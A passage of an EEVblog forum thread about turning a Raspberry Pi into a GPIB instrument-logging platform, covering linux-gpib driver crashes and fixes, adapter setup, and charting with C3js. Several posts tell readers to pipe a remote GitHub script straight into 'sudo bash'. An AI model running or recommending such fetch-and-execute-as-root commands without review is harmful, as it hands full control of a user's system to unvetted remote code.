SVN commit [r1656] should fix the problem. Please report here if the fix
is successful as I do not have an NI USB adapter to test with.

For convenience I have uploaded a release candidate distribution tarball
linux-gpib-4.0.4rc1.tar.gz
<https://sourceforge.net/projects/linux-gpib/files/linux-gpib%20for%203.x.x%20and%202.6.x%20kernels/4.0.4/>
cheers,
-dave

Could someone verify ??

I don't have a NI adapter

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on February 23, 2017, 03:20:47 am
Ohh -
A tip for users installing on a "Headless Raspi" (No HDMI screen connected).

When making the SD card image on the PC, make sure to create a file called ssh on the /boot partition.
This will enable SSH on bootup.

I just found out the hard way  ;)

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on February 23, 2017, 04:33:17 am
Dave might have fixed the NI-USB problem

Quote
SVN commit [r1656] should fix the problem. Please report here if the fix
is successful as I do not have an NI USB adapter to test with.

For convenience I have uploaded a release candidate distribution tarball
linux-gpib-4.0.4rc1.tar.gz
<https://sourceforge.net/projects/linux-gpib/files/linux-gpib%20for%203.x.x%20and%202.6.x%20kernels/4.0.4/>
cheers,
-dave

Could someone verify ??

I don't have a NI adapter

/Bingo

I just tried with kernel 4.9.11 with similar results.
ibtest
Code: [Select]
enter a string to send to your device: *idn?
sending string: *idn?


Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800323] Internal error: Oops: 817 [#1] SMP ARM

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800627] Process ibtest (pid: 9248, stack limit = 0xb2fbe210)

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800639] Stack: (0xb2fbfd70 to 0xb2fc0000)

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800653] fd60:                                     8025dc98 b5193abc 00000000 801e2fb4

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800669] fd80: b5193ab4 00000006 b8f7b000 b5193a80 a9fa5700 00000014 b2fbfdbc b2fbfda8

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800685] fda0: 80714e4c 80714c94 a9fa5710 7f3bee80 b2fbfdfc b2fbfdc0 7f3c9694 80714df8

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800701] fdc0: 7ede51f0 7f3bee80 00000000 00000000 80185ea4 7f3bee80 00000006 b8f7b000

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800717] fde0: 00000001 7f3bee88 7ede51f0 7f3bee80 b2fbfe24 b2fbfe00 7f3bd2f4 7f3c9570

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800732] fe00: b2fbfe60 b8f7b000 00000006 b2fbfe68 00000006 00000000 b2fbfefc b2fbfe28

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800748] fe20: 7f3bae30 7f3bd298 b2fbfe60 00000000 a9fa5440 b2fbfe40 807179c4 00000001

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800764] fe40: b8f7b000 b2fbe000 a9fa5dc0 7f3bee80 7ede52a0 00000000 00000004 00000000

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800779] fe60: 00000000 a9d83600 7ede52a0 00000000 00000006 00000000 00000001 00000001

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800795] fe80: 0000ffff 00000000 804c51ac 804c779c b2fbfedc b2fbfea0 804bccc4 804c5198

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800811] fea0: a9e71300 804c12e4 b6325c00 b2f0b000 b2fbff80 b6325c00 b2fbff80 76fa4000

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800827] fec0: b2fbff80 00000001 b2fbe000 00000000 b2fbff4c 7ede51f0 b2e561c8 a9da4240

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800843] fee0: c018a065 00000003 b2fbe000 00000000 b2fbff7c b2fbff00 802830e8 7f3b948c

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800858] ff00: 8028fd44 00000001 b6325c08 b2928000 aac46e10 b2928000 00000000 00000000

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800874] ff20: 00000020 00000001 b6325c00 00000000 aac46e10 00000002 b6325c08 00000000

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800890] ff40: b2fbff7c b2fbff50 802701f0 802b6950 00000000 a9da4240 7ede51f0 a9da4240

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800906] ff60: c018a065 00000003 b2fbe000 00000000 b2fbffa4 b2fbff80 802838a0 80283048

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800921] ff80: 00000001 00000000 01484220 00000006 00000036 80108244 00000000 b2fbffa8

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800937] ffa0: 801080c0 80283868 00000000 01484220 00000003 c018a065 7ede51f0 00000001

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800952] ffc0: 00000000 01484220 00000006 00000036 7ede52a0 76f493c0 76faa000 00000000

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.800968] ffe0: 76f45294 7ede51ec 76f3a630 76e95f2c 00000010 00000003 00000000 00000000

Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...
 kernel:[  764.801292] Code: e50b9030 e3e05000 e50b302c e3a08002 (e5832000)

dmesg
Code: [Select]
[  747.328240] /opt/linux-gpib/drivers/gpib/ni_usb/ni_usb_gpib.c: ni_usb_hs_wait_for_ready: unexpected data: buffer[6]=0xf, expected 0x2
[  747.328245] ni_usb_dump_raw_block:

[  747.328253]  40
[  747.328257]   1
[  747.328261]   0
[  747.328264]   8
[  747.328268]  30
[  747.328271]   0
[  747.328274]   f
[  747.328280]   0

[  747.328286]   0
[  747.328290]   3
[  747.328293]   0

[  764.800266] Unable to handle kernel NULL pointer dereference at virtual address 00000000
[  764.800286] pgd = b6338000
[  764.800296] [00000000] *pgd=32b4c835, *pte=00000000, *ppte=00000000
[  764.800323] Internal error: Oops: 817 [#1] SMP ARM
[  764.800334] Modules linked in: bnep hci_uart btbcm bluetooth agilent_82357a(O) ni_usb_gpib(O) gpib_common(O) evdev joydev fb_ili9486(C) fbtft(C) syscopyarea sysfillrect ads7846 sysimgblt fb_sys_fops hwmon brcmfmac brcmutil cfg80211 rfkill snd_bcm2835 snd_pcm snd_timer snd w1_gpio i2c_bcm2835 spi_bcm2835 wire bcm2835_gpiomem cn uio_pdrv_genirq fixed uio i2c_dev fuse ipv6
[  764.800490] CPU: 2 PID: 9248 Comm: ibtest Tainted: G         C O    4.9.11-v7+ #969
[  764.800499] Hardware name: BCM2835
[  764.800509] task: b5243b00 task.stack: b2fbe000
[  764.800532] PC is at __mutex_lock_slowpath+0x80/0x164
[  764.800546] LR is at __mutex_lock_slowpath+0x54/0x164
[  764.800559] pc : [<80714d08>]    lr : [<80714cdc>]    psr: a0000013
sp : b2fbfd70  ip : b2fbfd70  fp : b2fbfda4
[  764.800572] r10: b5193ab4  r9 : b5193abc  r8 : 00000002
[  764.800583] r7 : b5193ab8  r6 : b5243b00  r5 : ffffffff  r4 : b5193ab4
[  764.800594] r3 : 00000000  r2 : b2fbfd74  r1 : 00000000  r0 : b5193ab8
[  764.800606] Flags: NzCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment user
[  764.800617] Control: 10c5383d  Table: 3633806a  DAC: 00000055
[  764.800627] Process ibtest (pid: 9248, stack limit = 0xb2fbe210)
[  764.800639] Stack: (0xb2fbfd70 to 0xb2fc0000)
[  764.800653] fd60:                                     8025dc98 b5193abc 00000000 801e2fb4
[  764.800669] fd80: b5193ab4 00000006 b8f7b000 b5193a80 a9fa5700 00000014 b2fbfdbc b2fbfda8
[  764.800685] fda0: 80714e4c 80714c94 a9fa5710 7f3bee80 b2fbfdfc b2fbfdc0 7f3c9694 80714df8
[  764.800701] fdc0: 7ede51f0 7f3bee80 00000000 00000000 80185ea4 7f3bee80 00000006 b8f7b000
[  764.800717] fde0: 00000001 7f3bee88 7ede51f0 7f3bee80 b2fbfe24 b2fbfe00 7f3bd2f4 7f3c9570
[  764.800732] fe00: b2fbfe60 b8f7b000 00000006 b2fbfe68 00000006 00000000 b2fbfefc b2fbfe28
[  764.800748] fe20: 7f3bae30 7f3bd298 b2fbfe60 00000000 a9fa5440 b2fbfe40 807179c4 00000001
[  764.800764] fe40: b8f7b000 b2fbe000 a9fa5dc0 7f3bee80 7ede52a0 00000000 00000004 00000000
[  764.800779] fe60: 00000000 a9d83600 7ede52a0 00000000 00000006 00000000 00000001 00000001
[  764.800795] fe80: 0000ffff 00000000 804c51ac 804c779c b2fbfedc b2fbfea0 804bccc4 804c5198
[  764.800811] fea0: a9e71300 804c12e4 b6325c00 b2f0b000 b2fbff80 b6325c00 b2fbff80 76fa4000
[  764.800827] fec0: b2fbff80 00000001 b2fbe000 00000000 b2fbff4c 7ede51f0 b2e561c8 a9da4240
[  764.800843] fee0: c018a065 00000003 b2fbe000 00000000 b2fbff7c b2fbff00 802830e8 7f3b948c
[  764.800858] ff00: 8028fd44 00000001 b6325c08 b2928000 aac46e10 b2928000 00000000 00000000
[  764.800874] ff20: 00000020 00000001 b6325c00 00000000 aac46e10 00000002 b6325c08 00000000
[  764.800890] ff40: b2fbff7c b2fbff50 802701f0 802b6950 00000000 a9da4240 7ede51f0 a9da4240
[  764.800906] ff60: c018a065 00000003 b2fbe000 00000000 b2fbffa4 b2fbff80 802838a0 80283048
[  764.800921] ff80: 00000001 00000000 01484220 00000006 00000036 80108244 00000000 b2fbffa8
[  764.800937] ffa0: 801080c0 80283868 00000000 01484220 00000003 c018a065 7ede51f0 00000001
[  764.800952] ffc0: 00000000 01484220 00000006 00000036 7ede52a0 76f493c0 76faa000 00000000
[  764.800968] ffe0: 76f45294 7ede51ec 76f3a630 76e95f2c 00000010 00000003 00000000 00000000
[  764.800998] [<80714d08>] (__mutex_lock_slowpath) from [<80714e4c>] (mutex_lock+0x60/0x64)
[  764.801039] [<80714e4c>] (mutex_lock) from [<7f3c9694>] (ni_usb_write+0x130/0x3a8 [ni_usb_gpib])
[  764.801115] [<7f3c9694>] (ni_usb_write [ni_usb_gpib]) from [<7f3bd2f4>] (ibwrt+0x68/0xb4 [gpib_common])
[  764.801181] [<7f3bd2f4>] (ibwrt [gpib_common]) from [<7f3bae30>] (ibioctl+0x19b0/0x24ac [gpib_common])
[  764.801226] [<7f3bae30>] (ibioctl [gpib_common]) from [<802830e8>] (do_vfs_ioctl+0xac/0x820)
[  764.801249] [<802830e8>] (do_vfs_ioctl) from [<802838a0>] (SyS_ioctl+0x44/0x6c)
[  764.801274] [<802838a0>] (SyS_ioctl) from [<801080c0>] (ret_fast_syscall+0x0/0x1c)
[  764.801292] Code: e50b9030 e3e05000 e50b302c e3a08002 (e5832000)
[  764.801306] ---[ end trace d5cccf1ab6a06095 ]---


Another useful trick for RPi3 is overclock SD card, this has significant impact on performance
Code: [Select]
sudo bash -c 'printf "dtoverlay=sdhost,overclock_50=100\n" >> /boot/config.txt'
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on February 23, 2017, 05:53:07 am

I just tried with kernel 4.9.11 with similar results.
ibtest


Reported to Dave Penkler  :-+

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on February 23, 2017, 07:07:24 am

I just tried with kernel 4.9.11 with similar results.
ibtest


Reported to Dave Penkler  :-+

/Bingo
Thanks! It is the same with kernel 4.4.38 and 4.0.4
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on February 23, 2017, 07:11:31 am

And fix might be here

Quote
Ooops - forgot to initialise the shiny new mutex.
New version in SVN r1658
also tarball linux-gpib-4.0.4rc2.tar.gz in 4.0.4 folder.

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on February 23, 2017, 07:58:28 am

And fix might be here

Quote
Ooops - forgot to initialise the shiny new mutex.
New version in SVN r1658
also tarball linux-gpib-4.0.4rc2.tar.gz in 4.0.4 folder.

/Bingo

Yep it works like a charm with 4.4.38, extra kudos for Dave.
Also Agilent stiil works:)
Code: [Select]
[   43.101549] gpib0: exiting autospoll thread
[   43.102326] ni_usb_gpib: attach
[   43.102356]  attached to bus interface 0, address 0xb618b000
[   43.111675]  product id=0x709b
[   43.111841] ni_usb_hs_wait_for_ready: board serial number is 0x169a301
[   43.111990] /opt/linux-gpib-4.0.4rc2/drivers/gpib/ni_usb/ni_usb_gpib.c: ni_usb_hs_wait_for_ready: unexpected data: buffer[6]=0xf, expected 0x2
[   43.112002] ni_usb_dump_raw_block:
[   43.112014]  40  1  0  8 30  0  f  0
[   43.112042]   0  3  0
[   43.112059] /opt/linux-gpib-4.0.4rc2/drivers/gpib/ni_usb/ni_usb_gpib.c: ni_usb_hs_wait_for_ready exit retval=0

Update: It was successfully tested with 4.9.11 kernel.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on February 24, 2017, 06:12:57 am
Fun w. a $11 OrangePi Zero

https://www.eevblog.com/forum/reviews/ (https://www.eevblog.com/forum/reviews/)$11-orangepi-zero-as-linux-gpib-server/msg1143745/#msg1143745

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on February 24, 2017, 07:05:11 pm
Fun w. a $11 OrangePi Zero
The Plus and Plus2 models even have SATA connector, though there's only an SATA to USB2.0 adapter behind it, which limits SATA performance a lot.
When reading about the poor sw support, I decided I already had enough fun with the RPI. For you this OrangePi might be perfect though.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on February 25, 2017, 12:17:37 am
The price & size was what made me try it out.
And it seems like Armbian works fine on it, no troubles yet.

I think the bad sw-support is OPI's own implementations of OS'es.

Best sw support          : RasPi
Best hw performance  : Odroid

For now my OPZ is for fun ($11) , but it seems to behave and perform like a Raspi2 or better.
But this is based on having had the OPZ for less than 24 hours.


The $11 is a "Magic price" for me in DK , it means it's below the Customs limit ($12).
And i don't get a $23 Customs fee when getting it handed over via DK-Mail.
 

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: enut11 on March 06, 2017, 05:38:50 am
@plesa
Without reading through 300+ replies, is there anything here to help me set up a RP3 to log the output of a HP3456A using an Agilent USB-GPIB interface?
Enut11
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on March 06, 2017, 07:08:51 am
https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1135081/#msg1135081 (https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1135081/#msg1135081)
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on March 09, 2017, 08:10:29 am
Updated to kernel 4.4.50 and latest Raspbian with usage linux gpib 4.0.4 rc2
Script update RPI to latest tree, download linux GPIB, VXI, USBTMC and change configuration accordingly.
So to make your Volnut iamege, just download the
https://downloads.raspberrypi.org/raspbian/images/raspbian-2017-03-03/2017-03-02-raspbian-jessie.zip
Restore it to SD card and after automatic resize run script in terminal
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bashthis will check the version update it and reboot if needed and run script again ( in case the kernel is different than 4.4.50.
Your GPIB adapter should be connected to set gpib.conf properly.
Otherwise modify gpib.conf manually
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: blackdog on April 14, 2017, 08:58:12 pm
Hi,

I loaded the last "plesa image" on a disk and run the script from March-9
I have connected my Agilent_82357A to te PI and try to edit the gpib.conf file.
But there is so much other stuf in this gpib.conf file about a PCi devices...

Can someone show me how to make the gpib.conf workable for the Agilent_82357A?

And then, lets say the Agilent_82357A is detected, i cant find how to use the PI with the GPIB software.
It is difficult to filter the basic stuff from al the pages of this project.
Can some one show me howe to use the PI for logging a 3458A of 34401A?

Kind regards,
Blackdog
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on April 14, 2017, 09:47:57 pm
Download latest image
https://downloads.raspberrypi.org/raspbian_latest
perform (upddate ( sudo apt-get update && sudo apt-get -y upgrade )
The latest kernel which is tested is 4.4.50 ( to check run uname -a)
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bash
Because the image you restored contain the previous version of linux-gpib which does not work with 82357B and maybe 82357A. I do not know.

82357A adapter is not in script but if you send me the USB ID I can add it.
Or modify

Code: [Select]
if lsusb | grep -q '0957:0518'; then
sudo sed -i 's/ni_pci/agilent_82357a/g' /etc/gpib.conf
echo "Agilent 82357B found"
sudo modprobe agilent_82357a
fi

When you finish this run the ibtest to check the communication with GPIB instruments.
For basic logging task  there are few basic scripts
https://github.com/PlesaEEVBlog/RPi_LogNut
You just needs to modify paths
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: blackdog on April 14, 2017, 10:15:47 pm
Hi plesa,

Thanks for your quick response, is appreciated.  :)

I wil run your code and wil tell it here if its working.

Kind regards,
Blackdog
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on April 15, 2017, 06:30:02 am
C3js extension of D3js seems to be the way to go. It is much easier for configuration compare to D3js.For examples check http://c3js.org/ (http://c3js.org/)

Code: [Select]
<!DOCTYPE html>
<html lang="en">
<head>
    <title>C3 Test for RPi LogNut</title>
    <meta charset="utf-8" />
    <link href="c3js.org/c3.min.css" rel="stylesheet" />
    <script src="c3js.org/d3.min.js"></script>
    <script src="c3js.org/c3.min.js"></script>
</head>
<body>
    <div id="chart"></div>

    <script>

    var chart = c3.generate({
        data: {
            url: 'logs/K2604B_K6517B_K6485_Comparison_Log.csv',
            type: 'line' 
        }
       
    });
    </script>

</body>
</html>
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on April 15, 2017, 10:06:54 pm
Another test page with comparison of K6517B and K6485. I can easily display data on mouse over, easier scaling than D3, secondary axis also possible.

Code: [Select]
<!DOCTYPE html>
<html lang="en">
<head>
    <title>C3js Test Page</title>
    <meta charset="utf-8" />
    <link href="c3js.org/c3.min.css" rel="stylesheet" />
    <script src="c3js.org/d3.min.js"></script>
    <script src="c3js.org/c3.min.js"></script>
</head>
<body>
<div id="chart"></div>
     
<script>
    window.chart = c3.generate({
    bindto: '#chart',
    size: {
        height: 950,
        width: 1700
    },
    data: {
        x: 'TimeStamp',
        url: 'logs/K2604B_K6517B_K6485_Comparison_Log.csv',
        //url: 'logs/K2604B_K6517B_K6485_Comparison_Log2.csv',
        xFormat: '%d/%m/%Y-%H:%M:%S'
        //xFormat: '%Y-%m-%dT%H:%M:%S'
    },
    point: {
        show: false
    },
    axis: {
        x: {
            type: 'timeseries',
            tick: {
                count: 20,
                format: '%H:%M:%S'
            }
        }
    }
});
    </script>

</body>
</html>
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on April 15, 2017, 10:12:00 pm
Hm, cool. Want some bulky dataset of 11 days 5xLTZ logging (https://xdevs.com/datashort/nvs_ltz4_nplc100_tin.csv) to try performance too? :)
Do you have 6220/6221? I'd be interested to see how it compare vs 6517B/6485 too. :)

Also scientific notation usually looks much better than all those eye-breaking stashes of zeros ;).
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on April 16, 2017, 01:52:06 am
Hehe, you are calling 1MB file bulky :) Processing time with Chromium is 13s :)
So it is faster than D3js ( C3 is using D3).
Additional benefit is much easier configuration.

I do not have 6220/6221, but I will expect similar behavioral like 2636B. I can run the same test with this unit.
The 2602B is also better than 2400 series.

Scientific notation is ongoing, I'm using it in Python ( si_prefix si_format)  be patient, when it will be finished I will put in on GitHub.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: SvanGool on April 16, 2017, 02:17:40 am
@Plesa

The "https://downloads.raspberrypi.org/raspbian_latest" won't work it has just been updated and is not compatible with your script (has kernel version "4.4.50+").
I changed the script (deleting the "V7"), but testing it, it only produces a time-out (error 19), the adapter is recognized and does work with the KS software under Win10.
Meanwhile, I saw you advising an older RPI image (2017-03-02-raspbian-jessie) in an older email, so I will try that. To be sure that my configuration was correct.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on April 16, 2017, 02:20:55 am
The current one is 2017-04-10-raspbian-jessie
If links in not working try direct one
http://vx2-downloads.raspberrypi.org/raspbian/images/raspbian-2017-04-10/2017-04-10-raspbian-jessie.zip (http://vx2-downloads.raspberrypi.org/raspbian/images/raspbian-2017-04-10/2017-04-10-raspbian-jessie.zip)
And after that execute
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh (https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh) | sudo bash
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: SvanGool on April 16, 2017, 02:26:02 am
It does work, but not with your script ! The script doesn't recognize the kernel version reported by the latest RPI image and tries to update the kernel.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on April 16, 2017, 03:48:43 am
It does work, but not with your script ! The script doesn't recognize the kernel version reported by the latest RPI image and tries to update the kernel.

You mentioned that you needs to remove v7, which seems that you are using the RPi1 or Raspberry Zero.
Script mentioned above is only for RPi2 and higher ( not for PRi1 or RPi0).
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on April 16, 2017, 05:47:56 am
Hm, cool. Want some bulky dataset of 11 days 5xLTZ logging (https://xdevs.com/datashort/nvs_ltz4_nplc100_tin.csv) to try performance too? :)
Do you have 6220/6221? I'd be interested to see how it compare vs 6517B/6485 too. :)

Also scientific notation usually looks much better than all those eye-breaking stashes of zeros ;).
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: SvanGool on April 17, 2017, 07:07:39 am
@Plesa

You were fully right: I thought I had a RPI 2, but after I opened the box, I checked again and it is a 1B+, sorry for causing confusion !
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on April 17, 2017, 07:10:38 am
@Plesa

You were fully right: I thought I had a RPI 2, but after I opened the box, I checked again and it is a 1B+, sorry for causing confusion !

It is OK, just delete the kernel check and it should work. I just run it on RPi0.Or post your message if needed.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: SvanGool on April 17, 2017, 10:47:28 pm
Indeed that does the job + restarting the system before you continue  :)

Don't forget (I did) to run /usr/local/sbin/gpib_config once after boot or put it in /etc/rc.local if you have the gpib adapter always connected.


[Edited to add note on gpib_config]
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: vindoline on August 05, 2017, 06:09:04 am
Hi Plesa and the group,

I'm a complete RasPi beginner but I'm very interested in getting one set up for datalogging! I've followed the instructions to:

download raspbian-2017-03-03/2017-03-02-raspbian-jessie.zip, Restore it to SD card and run script in terminal:
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bash

It took quite a while to execute the script - longer than I was willing to watch. When I returned some time later the last entries on my terminal were:

Collecting si-prefix
  Downloading si-prefix-0.5.tar.gz (49kB)
    100% |????????????????????????????????| 51kB 467kB/s
Building wheels for collected packages: si-prefix
  Running setup.py bdist_wheel for si-prefix ... done
  Stored in directory: /root/.cache/pip/wheels/7b/e3/f0/6c628d1ed2fe11531947b4d759bb61a39f45bf50da106d15f1
Successfully built si-prefix
Installing collected packages: si-prefix
Successfully installed si-prefix-0.5
depmod: ERROR: could not open directory /lib/modules/4.4.50-v7+: No such file or directory
depmod: FATAL: could not search modules: No such file or directory
failed to open device file '/dev/gpib0'
main: No such device or address
pi@raspberrypi:~ $

It seems to have stopped due to an error. I looked in the file system and /dev/gpib0 does exist. However I have /lib/modules/4.9.35-v7+ NOT 4.4.50-v7+
Any advice would be greatly appreciated!
Also, how do I use the raspberry Pi once everything is installed happily? Sorry, but I need the hand-holding (at least to begin)
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: vindoline on August 05, 2017, 11:54:56 am
OK, I re-downloaded the most recent rasping and re-ran the install_gpib_support script. This time it seemed to complete OK without errors.

Now what? How does one use this tool? I'm hoping to be able to use an Arduino based GPIB adapter with my Keithley 196 meter as well as setting up logging of environmental temp/humidity etc. Any advice is greatly appreciated!
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Assafl on August 05, 2017, 06:26:56 pm
196 Isn't SCPI. So you'll have to program all of the mashed up commands....
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: alm on August 05, 2017, 08:35:37 pm
Neither is the 3458A. Just means you need the more cryptic but simpler command set that mostly maps GPIB commands to front panel button presses, e.g. F0 is the left most function button, F1 the second from the left. Documentation is important, because a command like F1R5Q0M1T5X is not easy to decipher.

Mapping one of those meters to the IVI triggering model is good fun ;). But it does not look like this project cares about abstractions, so that is a hurdle you will not have to overcome.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: vindoline on August 06, 2017, 01:53:38 am
OK, at a really basic level, I don't know what I'm doing.
Via SSH I ran the install script again. It ends with:

failed to configure boardtype: ni_pci
failed to configure board
main: Invalid argument

I'm not surprised as I don't have an National Instruments board, it's an arduino based unit (http://egirland.blogspot.cz/2014/03/arduino-uno-as-usb-to-gpib-controller.html (http://egirland.blogspot.cz/2014/03/arduino-uno-as-usb-to-gpib-controller.html)).

When I reboot the pi it just sits there. There appears that no logging program is running. There is no web server running. Is there a program I'm supposed to run? Am I supposed to access it via a web browser?

I am able to get the Arduino GPIB adapter talking to my Mac via a Python in terminal. My goal is to get it working on the RPi with environmental logging, which I thought was worked out here.

Thanks in advance to anyone who can help me out!
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on August 07, 2017, 01:06:10 am
The script on github is detecting NI USB HS, etc and Agilent 82357b adapters and according to connected adapter it will set the .conf file.
So it is OK that you received such error.

The script does not install web server (nginx + samba) for this your will needs to use this script Web_Samba.sh
You can run it same way like GPIB install script
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Web_Samba.sh | sudo bash

For Arduino you will needs to rewrite the python scripts from Github, I did not reach point to release them with support for Prologix or Arduino GPIB adapters.




Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: alm on August 07, 2017, 01:27:31 am
The ugliest thing is to write a Keithley_196_Prologix_Log.py script that accesses the emulated serial port directly.

The slightly less ugly way is to write a GpibPrologix module that implements the same interface as the standard Gpib module. I have done something similar in the past for a scope that could be accessed through GPIB or RS-232 by implementing a GpibSerial module that emulated the GPIB interface. See attachment. To use it I would use:
Code: (Python) [Select]
import GpibSerial as Gpib
#import Gpib

scope = gpib.find('tds200')
gpib.clear(scope)
gpib.write(scope,'measu:meas1:typ PK2;:measu:meas1:sou CH1')
gpib.write(scope,'measu:meas1:val?')
pk2 = float(gpib.read(scope,80))
It would not be a drop-in replacement because it does not send the Prologix command (this was a direct RS-232 connection) and may not implement all functionality that this code expects.

A nicer way is to actually use a generic backend like PyVISA. Unfortunately it does not look like PyVISA currently supports the Prologix interface (https://github.com/pyvisa/pyvisa/issues/112), but it would abstract the hardware interface from the logging code. Adding proper Prologix support to PyVISA does not look too difficult.

And if you also want to abstract the instrument itself, you could use python-ivi (https://github.com/python-ivi/python-ivi) on top of PyVISA. That is the way I am going for any new instrument control code I write.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: vindoline on August 08, 2017, 12:43:06 am
Pleasa, thank you very much for your response. I didn't realize that you hadn't yet implemented Prologix support.

alm, thank you too. I'll take a look at doing this, but I'm afraid it may be well over my head programming wise. I'll give a shot at figuring it out though!
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: nisma on August 10, 2017, 09:39:34 am
I only have rpi1, so i cannot test this logging platform.
Prologix works with  pySerial and wanglib . 
The 3.3V arduino works very well with rpi on hw rs232 and speed set at 4Mbit/sec.
I don't use orginal Prologix, just arduino with similar firmware.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on August 10, 2017, 04:03:09 pm
I only have rpi1, so i cannot test this logging platform.

It should run on your Rapsberry Pi 1, too, works for me.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on August 19, 2017, 06:26:42 am
I bought an Agilent 82357B GPIB interface, probably a clone because it was cheap, and tried to use it with the logging platform. For this first I downloaded the latest Raspbian image, based on Debian 9 (Stretch), from this week, 2017-08-16-raspbian-stretch-lite.img. I've done the steps from https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh (https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh) (maybe this should be renamed, because it does more, like updating the distribution, installing USBTMC etc.) manually to see if something went wrong and it worked mostly, even the linux-gpib driver could be compiled with the new Linux kernel version 4.9.41. One thing missing was the "pip" package (needs an additiona "sudo apt-get -y install python-pip"). Note: to enable SSH remote login, create an empty file "ssh" on the "boot" partition. Then you can login with the user "pi" and the password "raspberry" with ssh (or use putty (https://www.chiark.greenend.org.uk/~sgtatham/putty/) from Windows).

